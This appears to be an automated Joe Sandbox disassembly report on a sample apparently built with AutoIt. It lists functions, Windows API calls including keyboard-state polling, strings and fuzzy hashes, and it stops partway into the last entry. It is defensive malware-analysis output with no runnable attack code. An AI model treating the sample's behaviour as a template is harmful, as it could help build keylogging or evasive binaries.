Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 033f59deeedd1101de31364dbe7a735961b25ce16e8cb0951d85ff15f094d1db
Instruction ID: 837e826ba970bec2aa6a46b4cae4f1c2d07db67e5e052f15e9b0a240e4582e07
Opcode Fuzzy Hash: 033f59deeedd1101de31364dbe7a735961b25ce16e8cb0951d85ff15f094d1db
Instruction Fuzzy Hash: 90518A30D0478829FB35DBB08815BEABFB49F01392F4845999EC2575C3DE64AA4CD7A1

Function 00F4CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00F4CE1C
GetWindowRect.USER32(00000000,?), ref: 00F4CE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00F4CE8C
GetDlgItem.USER32(?,00000002), ref: 00F4CE97
GetWindowRect.USER32(00000000,?), ref: 00F4CEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00F4CEFD
GetDlgItem.USER32(?,000003E9), ref: 00F4CF0B
GetWindowRect.USER32(00000000,?), ref: 00F4CF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00F4CF5F
GetDlgItem.USER32(?,000003EA), ref: 00F4CF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00F4CF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 00F4CF97

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: fe19fe624c219cc7d8c409ae51ed832ab9496ba246c9ba5de3ac597132fe9af6
Instruction ID: d3a9f41786964314a999b5598cf3468c3bcc092bd15de8f82cf7920975c518e4
Opcode Fuzzy Hash: fe19fe624c219cc7d8c409ae51ed832ab9496ba246c9ba5de3ac597132fe9af6
Instruction Fuzzy Hash: AB514171B00209AFDF58CF69CD89ABEBBB6EB88710F54812DF915D7290DB70AD049B50

Function 00EF23F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00EF2412,?,00000000,?,?,?,?,00EF1AA7,00000000,?), ref: 00EF1F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00EF24AF
KillTimer.USER32(-00000001,?,?,?,?,00EF1AA7,00000000,?,?,00EF1EBE,?,?), ref: 00EF254A
DestroyAcceleratorTable.USER32(00000000), ref: 00F2BFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EF1AA7,00000000,?,?,00EF1EBE,?,?), ref: 00F2C018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EF1AA7,00000000,?,?,00EF1EBE,?,?), ref: 00F2C02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EF1AA7,00000000,?,?,00EF1EBE,?,?), ref: 00F2C04B
DeleteObject.GDI32(00000000), ref: 00F2C05D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: e559df7dfab7842f9be016662332c0cfe92d089578abf6c712a96402ed75a00a
Instruction ID: 108cfec2f749c9338e84374bb8533c13758289c7473c5ff3a343a72bad9e13c0
Opcode Fuzzy Hash: e559df7dfab7842f9be016662332c0cfe92d089578abf6c712a96402ed75a00a
Instruction Fuzzy Hash: 1A61BE30504718DFCB25EF14D988B7A77F1FF84326F60961CE256A69A0C7B0A880EF91

Function 00EF2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00EF29AB: GetWindowLongW.USER32(?,000000EB), ref: 00EF29BC

GetSysColor.USER32(0000000F), ref: 00EF25AF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: a4fd794d747833afa01e17d8837474b25e628f147f57265fb7a5e3c6a9d79f99
Instruction ID: c1a0c354993e5c0e486ab90d1e5a263873445400afe0d7101df01e09fffcd4e6
Opcode Fuzzy Hash: a4fd794d747833afa01e17d8837474b25e628f147f57265fb7a5e3c6a9d79f99
Instruction Fuzzy Hash: 3E41C231004518EFDB209F289C88BF93B65EB4A335F5A4269FF659E1E1CB308C41EB61

Function 00F029BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00F10B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00F02A3E,?,00008000), ref: 00F10BA7

Part of subcall function 00F10284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F02A58,?,00008000), ref: 00F102A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00F02ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00F02C2C

Part of subcall function 00F03EBE: _wcscpy.LIBCMT ref: 00F03EF6

Part of subcall function 00F1386D: _iswctype.LIBCMT ref: 00F13875

Strings

Bad directive syntax error, xrefs: 00F4008F
Unterminated string, xrefs: 00F400D6
AU3!, xrefs: 00F02A93
EA06, xrefs: 00F3FD48
Error opening the file, xrefs: 00F3FD33, 00F3FDAA
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00F3FD17

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: b64780b9058420b1177f85f332bbe14d1bbadf12fea9d99fabb2bd27a79bf278
Instruction ID: 1bdd68538e004d1b3f11e3d06ff9864c68f5dd378c3f07a44870a15754b166b3
Opcode Fuzzy Hash: b64780b9058420b1177f85f332bbe14d1bbadf12fea9d99fabb2bd27a79bf278
Instruction Fuzzy Hash: D802AE715083419FC764EF24C881AAFBBE5BF89324F10491DF989932A2DB34D949FB52

Function 00F5AEEA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00F80980), ref: 00F5AF4E
GetDriveTypeW.KERNEL32(00000061,00FAB5F0,00000061), ref: 00F5B018
_wcscpy.LIBCMT ref: 00F5B042

Strings

ramdisk, xrefs: 00F5AFC2
network, xrefs: 00F5AFAC
all, xrefs: 00F5AF54
cdrom, xrefs: 00F5AF6A
unknown, xrefs: 00F5AFD9
fixed, xrefs: 00F5AF96
removable, xrefs: 00F5AF80

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: b87447993cd9082502d40352508c6f8315a6b860fc88df33f7211ff4235357fd
Instruction ID: 2ae8cb740520b7e9819043abd6bbd7e48c7c16dd2f5e08631dfbf813efc47588
Opcode Fuzzy Hash: b87447993cd9082502d40352508c6f8315a6b860fc88df33f7211ff4235357fd
Instruction Fuzzy Hash: 7F51DC715083099FC310EF14CC91AABB7E5FF80311F504919FA96572E2EB70ED49EA82

Function 00EF4D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00EF4D62
__swprintf.LIBCMT ref: 00EF4DAC
__i64tow.LIBCMT ref: 00F2DB3B

Strings

0x%p, xrefs: 00F2DB1D
%.15g, xrefs: 00EF4DA6
False, xrefs: 00F2DB03
True, xrefs: 00F2DAFC

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 1e3ba5b9a8a262c31060e29a316114755a955ccff38c937b593a27ae7b0bd920
Instruction ID: 75de15009311b6a43da81f25cc8908c883b62f70fa334efd2f1715bcc7a3da79
Opcode Fuzzy Hash: 1e3ba5b9a8a262c31060e29a316114755a955ccff38c937b593a27ae7b0bd920
Instruction Fuzzy Hash: 2941E7B1A04209AFDB34DF74DC42EBA73E8EB45310F20445EE649D72D2EA76D942EB11

Function 00F77777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F7778F
CreateMenu.USER32 ref: 00F777AA
SetMenu.USER32(?,00000000), ref: 00F777B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F77846
IsMenu.USER32(?), ref: 00F7785C
CreatePopupMenu.USER32 ref: 00F77866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00F77893
DrawMenuBar.USER32 ref: 00F7789B

Strings

0, xrefs: 00F77785
F, xrefs: 00F77887

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 611807e69dabe7a3c49037687164f19799b3c52cf58053b41018f0ffb76cf9c7
Instruction ID: fd47cc075e4215ce2bd8198c4a87ef4cbf27dc3874292cb3483e90a2eac88ed7
Opcode Fuzzy Hash: 611807e69dabe7a3c49037687164f19799b3c52cf58053b41018f0ffb76cf9c7
Instruction Fuzzy Hash: 8F414775A11309EFDB10EF64D888EAA7BB5FF49310F254129F909A7360C730A914EF61

Function 00F77AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00F77B83
CreateCompatibleDC.GDI32(00000000), ref: 00F77B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00F77B9D
SelectObject.GDI32(00000000,00000000), ref: 00F77BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 00F77BB0
DeleteDC.GDI32(00000000), ref: 00F77BB9
GetWindowLongW.USER32(?,000000EC), ref: 00F77BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00F77BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00F77BE3

Strings

static, xrefs: 00F77B1B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 9cc92409872a383a7cdf8978cb60349f4c637074eb90eea9c5384e56f834c45c
Instruction ID: c5f08027a468b9aa8c34f1109fe96169462181d0b0e25b8c27c9e7490a0e7b05
Opcode Fuzzy Hash: 9cc92409872a383a7cdf8978cb60349f4c637074eb90eea9c5384e56f834c45c
Instruction Fuzzy Hash: A8319E32104218AFDF11AF68CC49FEB3B69FF49320F104215FA19A61A0CB75D824EBA5

Function 00F17030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F1706B

Part of subcall function 00F18D58: __getptd_noexit.LIBCMT ref: 00F18D58

__gmtime64_s.LIBCMT ref: 00F17104
__gmtime64_s.LIBCMT ref: 00F1713A
__gmtime64_s.LIBCMT ref: 00F17157
__allrem.LIBCMT ref: 00F171AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F171C9
__allrem.LIBCMT ref: 00F171E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F171FE
__allrem.LIBCMT ref: 00F17215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F17233
__invoke_watson.LIBCMT ref: 00F172A4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 9c5748fe5b65875a16a07474a737edcc19fcb7dc143cef6235a3974e445a19d1
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: FD71F871E44717ABD714AE79DC41BDAB3B8AF14330F14422AF518E7281E774D981AF90

Function 00F52CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F52CE9
GetMenuItemInfoW.USER32(00FB7890,000000FF,00000000,00000030), ref: 00F52D4A
SetMenuItemInfoW.USER32(00FB7890,00000004,00000000,00000030), ref: 00F52D80
Sleep.KERNEL32(000001F4), ref: 00F52D92
GetMenuItemCount.USER32(?), ref: 00F52DD6
GetMenuItemID.USER32(?,00000000), ref: 00F52DF2
GetMenuItemID.USER32(?,-00000001), ref: 00F52E1C
GetMenuItemID.USER32(?,?), ref: 00F52E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00F52EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F52EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F52EDC

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 86fbc593f422486c9f50a1c1c0470dc21f1be70d269608be0158d711b8dcc9a0
Instruction ID: b2cbbec25b9f3c5028045be8f049ed6d1b64fde9c5ad65be1784385ac3348e90
Opcode Fuzzy Hash: 86fbc593f422486c9f50a1c1c0470dc21f1be70d269608be0158d711b8dcc9a0
Instruction Fuzzy Hash: 2761B171900249AFDB91DF64CC89ABEBBB8EB42316F140259FE41A7251D735AD09FB20

Function 00F77548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00F775CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00F775CD
GetWindowLongW.USER32(?,000000F0), ref: 00F775F1
_memset.LIBCMT ref: 00F77602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00F77614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00F7768C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 6f55cea2c74b61f2246e4e44ba9858466cdd3a721f88948fb501d1eb96dccd88
Instruction ID: c455e470236b32ce760a0066b2b74affb59dc42a70e49eb6745f8bc978831671
Opcode Fuzzy Hash: 6f55cea2c74b61f2246e4e44ba9858466cdd3a721f88948fb501d1eb96dccd88
Instruction Fuzzy Hash: 21618C75900308AFDB10EF64CC81EEE77F8AB49710F24419AFA18A72A1D770AD41EF61

Function 00F477B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00F477DD
SafeArrayAllocData.OLEAUT32(?), ref: 00F47836
VariantInit.OLEAUT32(?), ref: 00F47848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00F47868
VariantCopy.OLEAUT32(?,?), ref: 00F478BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 00F478CF
VariantClear.OLEAUT32(?), ref: 00F478E4
SafeArrayDestroyData.OLEAUT32(?), ref: 00F478F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00F478FA
VariantClear.OLEAUT32(?), ref: 00F4790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00F47917

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 174633601617db1bd4a94f52da11126a42e70e3fe9479605da7775390d6215e2
Instruction ID: 50a676a30990be7a08c54703536d1b15bcc9340a22e622be3af4edb1d2b3376f
Opcode Fuzzy Hash: 174633601617db1bd4a94f52da11126a42e70e3fe9479605da7775390d6215e2
Instruction Fuzzy Hash: 26415075A0021D9FDB00EFA4CC489EDBFB9FF08310F408069EA55A7261DB35A949DF90

Function 00F50508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00F50530
GetAsyncKeyState.USER32(000000A0), ref: 00F505B1
GetKeyState.USER32(000000A0), ref: 00F505CC
GetAsyncKeyState.USER32(000000A1), ref: 00F505E6
GetKeyState.USER32(000000A1), ref: 00F505FB
GetAsyncKeyState.USER32(00000011), ref: 00F50613
GetKeyState.USER32(00000011), ref: 00F50625
GetAsyncKeyState.USER32(00000012), ref: 00F5063D
GetKeyState.USER32(00000012), ref: 00F5064F
GetAsyncKeyState.USER32(0000005B), ref: 00F50667
GetKeyState.USER32(0000005B), ref: 00F50679

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 21bc0d8dd066a91aa82e2a5d66176143fefa8dae0732e8109bbb6460b4d7a58d
Instruction ID: 4752ae08d62bb9568222ba3b774c234de3c81a7a81a3b3d31a8302416b9aae26
Opcode Fuzzy Hash: 21bc0d8dd066a91aa82e2a5d66176143fefa8dae0732e8109bbb6460b4d7a58d
Instruction Fuzzy Hash: 7841B230D047CA6DFF708A6488047B5BEA06F51325F4C405ADFC64B5C2EEA499DCAFA2

Function 00F68AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

CoInitialize.OLE32 ref: 00F68AED
CoUninitialize.OLE32 ref: 00F68AF8
CoCreateInstance.OLE32(?,00000000,00000017,00F83BBC,?), ref: 00F68B58
IIDFromString.OLE32(?,?), ref: 00F68BCB
VariantInit.OLEAUT32(?), ref: 00F68C65
VariantClear.OLEAUT32(?), ref: 00F68CC6

Strings

Failed to create object, xrefs: 00F68B63, 00F68C19
Invalid parameter, xrefs: 00F68BE4
NULL Pointer assignment, xrefs: 00F68B9D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: e6fa326c510f22a399b5f05f48c178a793ed084b30f10b4a279ddf4c1c378ba3
Instruction ID: fad2da5c4933c3dc28f64851c23f7a52235b492d59fc907cccdd68e36436ddf2
Opcode Fuzzy Hash: e6fa326c510f22a399b5f05f48c178a793ed084b30f10b4a279ddf4c1c378ba3
Instruction Fuzzy Hash: 6861B0B16087119FC710DF14C889F6ABBE8EF85794F00090DF9819B291CB74ED49EBA2

Function 00F5BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00F5BB13
